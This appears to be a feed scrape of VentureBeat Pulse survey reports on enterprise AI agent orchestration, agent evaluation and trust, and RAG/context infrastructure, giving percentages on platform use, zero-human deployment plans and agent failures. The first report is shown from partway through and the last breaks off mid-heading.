leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
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<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more 